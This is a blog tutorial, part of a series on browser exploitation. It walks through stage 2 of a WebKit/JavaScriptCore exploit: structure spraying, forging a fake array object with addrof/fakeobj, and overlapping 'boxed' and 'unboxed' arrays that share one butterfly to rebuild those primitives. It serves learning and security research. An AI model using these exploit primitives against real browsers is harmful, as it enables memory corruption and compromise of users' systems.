TLDR
Setting the foundation for an arbitrary read/write (and re-implementing addrof
and fakeobj
).
Series
- 0x00: New Series: Getting Into Browser Exploitation
- 0x01: Setup and Debug JavaScriptCore / WebKit
- 0x02: The Butterfly of JSObject
- 0x03: Just-in-time Compiler in JavaScriptCore
- 0x04: WebKit RegExp Exploit addrof() walk-through
- 0x05: The fakeobj() Primitive: Turning an Address Leak into a Memory Corruption
- 0x06: Revisiting JavaScriptCore Internals: boxed vs. unboxed
- 0x07: Preparing for Stage 2 of a WebKit Exploit
- 0x08: Arbitrary Read and Write in WebKit Exploit
Introduction
Like saelo in his phrack paper Attacking Javascript Engines, we have to think about a plan of exploitation. We've already built the first stages which were the addrof
and fakeobj
primitives, so from now on our goal is to obtain an arbitrary memory read/write primitive through fake JavaScript objects and the question we need to ask ourselves is "What kind of object do we want to fake?". In this post we won't be achieving an arbitrary read/write primitive just yet, but we'll create some beautiful messed-up memory that serves as a strong foundation.
The Transition
In Linus's exploit, he was building some WASM buffers and WASM internal memory objects. WASM is short for Web Assembly which is a fancy browser feature, and Linus was using it to craft an arbitrary read and write primitive. The web assembly part doesn't really have much to do with web assembly itself, but the underlying principle.
Let's have a quick peek into the Mozilla Developer Documentation (MDN) to learn what a Web Assembly memory object is.
The WebAssembly.Memory() constructor creates a new Memory object whose buffer property is a resizable ArrayBuffer that holds the raw bytes of memory accessed by a WebAssembly Instance.
Anyway, I really try to wrap my head around what exactly Linus is building here, but it's really mind-bending - here are some of my notes trying to walk through the code.
This looks crazy, at some point there are these object trying to overlap and even pointing to themselves, and then you have the whole WASM thing, either way, it's crazy and all over the place. I didn't fully get this, maybe I need to revisit it later point, or you can have a look at it. But, to continue, I'll be walking through the exploit using the same bug, but written by Niklas, because it seems clearer.
To start understanding Niklas's exploit, I've removed the proof of concept code that we had about faking objects and start over by just keeping the addrof
and fakeobj
primitives.
Niklas's exploit
Let's go step by step to understand this exploit. Like in our proof of concept code where we had a loop to spray objects for new structure IDs, we also have a loop here.
var structure_spray = [];
for(var i=0; i<1000; i++) {
var array = [13.37];
array.a = 13.37;
array['p'+i] = 13.37;
structure_spray.push(array)
}
var victim = structure_spray[510];
We have a structure_spray
array which holds all the sprayed array objects. Inside the loop, we iterate a thousand times and create an array which has only one value 13.37
, which makes it an ArrayWithDoubles type. We assign a property a
and also create another 'p'+i
, finally push the array to the structure_spray
. Then we pick one from the middle and assign it as victim
. Now we can look at the structure_spray
and the victim
to see how they look like in memory.
If we look at 0x1077b4340
, which is the address of the structure_spray
, we see some flags and the Structure ID, but more importantly, if we follow the butterfly 0x10001fa070
we see the array contents. To the left of the butterfly, we have the size of the array and non-inlined elements, and to the right of the pointer, we have the actual elements of the array. I've subtracted 16 bytes(0x10001fa070 - 0x10 = 0x10001fa060
) from the butterfly to see the contents to the left of the pointer.
All these array elements are just pointers to the array objects we've created in the spray loop.
Visualize and Understand
We need to visualize the relationship of the objects because it will get a little bit crazy.
Above we see that we have the structure_spray
, which is an array of array objects. This means it has a butterfly with elements. And we also picked one of these elements and called it victim
and victim also has a butterfly. We can confirm this by looking at the memory.
# 0x177b6330 => victim address
(lldb) x/2gx 0x177b6330
0x177b6330: 0x0108210700000325 0x00000010000ca128
Here 0x00000010000ca128
is the butterfly, and to the left of it, we have array properties like a
and 'p'+i
that we created in the spray loop. We can subtract 0x20
from the 0x00000010000ca128
and see those properties.
(lldb) x/8gx 0x00000010000ca108
0x10000ca108: 0x0000000000000000 0x402bbd70a3d70a3d
0x10000ca118: 0x402bbd70a3d70a3d 0x0000000100000001
0x10000ca128: 0x402bbd70a3d70a3d 0x0000000000000000
0x10000ca138: 0x0000000000000000 0x402bbd70a3d70a3d
As you can see, we have the properties and length to the left of the butterfly, and we see the actual element to the right side of it. The object structure_spray
and victim
currently look like the following in memory.
Next, we prepare some cell header values. The flags for one will be ArrayWithDoubles and the other one will be ArrayWithContiguous. This just prepares the double value that we will use to craft fake objects of that type.
>>> u32[0] = 0x200; // Structure ID
512
>>> u32[1] = 0x01082007 - 0x10000; // Flags for ArrayWithDoubles
17244167
>>> var flags_arr_double = f64[0];
undefined
>>> u32[1] = 0x01082009 - 0x10000; // Flags for ArrayWithContiguous
17244169
>>> var flags_arr_contiguous = f64[0];
undefined
Now we can use our addrof
and fakeobj
primitive to craft a fake object.
First, we create an outer object with two properties - cell header and butterfly. The butterfly is pointing to the victim object.
>>> var outer = {
cell_header: flags_arr_contiguous,
butterfly: victim,
};
>>> // Get the fake object
>>> f64[0] = addrof(outer)
2.1840509894e-314
>>> u32[0] += 0x10
125601136
>>> var hax = fakeobj(f64[0]);
undefined
The two properties cell_header
and butterfly
are inlined, so if we add 16 bytes (+0x10) to the address of the outer, we get the fake object hax
. Here's how it looks like.
Pay very close attention to the weirdness of the faked hax object! As you can see, we have our hax
fake object, and it has the butterfly pointing to the address of the victim
object, where the metadata of the victim
exist. hax
is ArrayWithContiguous, but the victim
is ArrayWithDoubles. victim
has a normal butterfly which points directly to the place where elements are stored, but the hax
is strange, it's butterfly is pointing to the victim
object. This means if we do something like hax[0]
, we'll get the victim
's cell header and hax[1]
will give us the victim
's butterfly.
Now to the exciting part, we start by creating two new arrays, call one unboxed
and the other boxed
.
// ArrayWithDoubles
>>> var unboxed = [13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37,13.37]
undefined
>>> unboxed[0] = 4.2 // convert `CopyOnWriteArrayWithDoubles` to `ArrayWithDoubles`
>>> var boxed = [{}];
undefined
unboxed
is of type ArrayWithDoubles which means it deals with raw doubles. boxed
is ArrayWithContiguous
, deals with JSValues which can be pointers, doubles or integers. Both arrays have a cell header and a butterfly of their own. This is still normal.
But let's do something freaky!
>>> hax[1] = unboxed // (1)
[object Object]
>>> var tmp_butterfly = victim[1]; // (2)
undefined
>>> hax[1] = boxed // (3)
[object Object]
>>> victim[1] = tmp_butterfly; // (4)
3.39524192943e-313
hax[1]
has the butterfly pointing to thevictim
object, now we assignunboxed
to it. Basically, we overwrote thevictim
's butterfly tounboxed
, which meansvictim
points to the metadata ofunboxed
object.- We get the butterfly of the
unboxed
by accessing the second elementvictim[1]
and store this pointer in a variable calledtmp_butterfly
. - Now we do something even crazier; we set
hax[1]
toboxed
. Sovictim[1]
is accessing the butterfly pointer ofboxed
object. - And now we overwrite the
boxed
butterfly pointer to thetmp_butterfly
, which means now bothboxed
andunboxed
are pointing to the same butterfly.
Here's the entire flow of how this looks like.
Now, why is this strange setup necessary? Well if you think about it, we have two different types of array objects point to the same location, unboxed
deals with just raw binary double values but boxed
deals with JSValues. boxed
can hold integers, doubles or objects in the form of pointers. So this is similar to what we achieved in the original bug with addrof
and fakeobj
primitives. Since these two original primitives required the JIT type-confusion to work, it's not good to rely on them over and over again, we can maybe make them a bit cleaner to work with. And so we have boxed
and unboxed
now. Both have the same butterfly but think it contains different types. So now we can construct the same addrof
and fakeobj
in a cleaner way.
For example we can assign a double to the unboxed value (expecting raw doubles). And if it looks like a pointer, accessing this value from boxed, would interpret it as an object. And of course vice versa.
/* fakeobj */
>>> unboxed[0] = 1.23e-45
>>> var obj = boxed[0]; // `obj` is the object @ `1.23e-45`
/* addrof */
>>> boxed[0] = some_object
>>> unboxed[0] // gives us the address of `some_object`
So we can reimplement addrof
and fakeobj
like so:
/* `addrof` */
stage2_addrof = function(obj) {
boxed[0] = obj;
return unboxed[0];
}
// overwrite the old `addrof` with the new `stage2_addrof`
addrof = stage2_addrof;
/* fakeobj */
stage2_fakeobj = function(addr) {
unboxed[0] = addr;
return boxed[0];
}
// overwrite the old `fakeobj` with the new `stage2_fakeobj`
fakeobj = stage2_fakeobj;
It looks a bit cleaner, except if you look at how messed up the memory looks like. But I think it depends on whom you ask, for me it's beautiful and mind-blowing!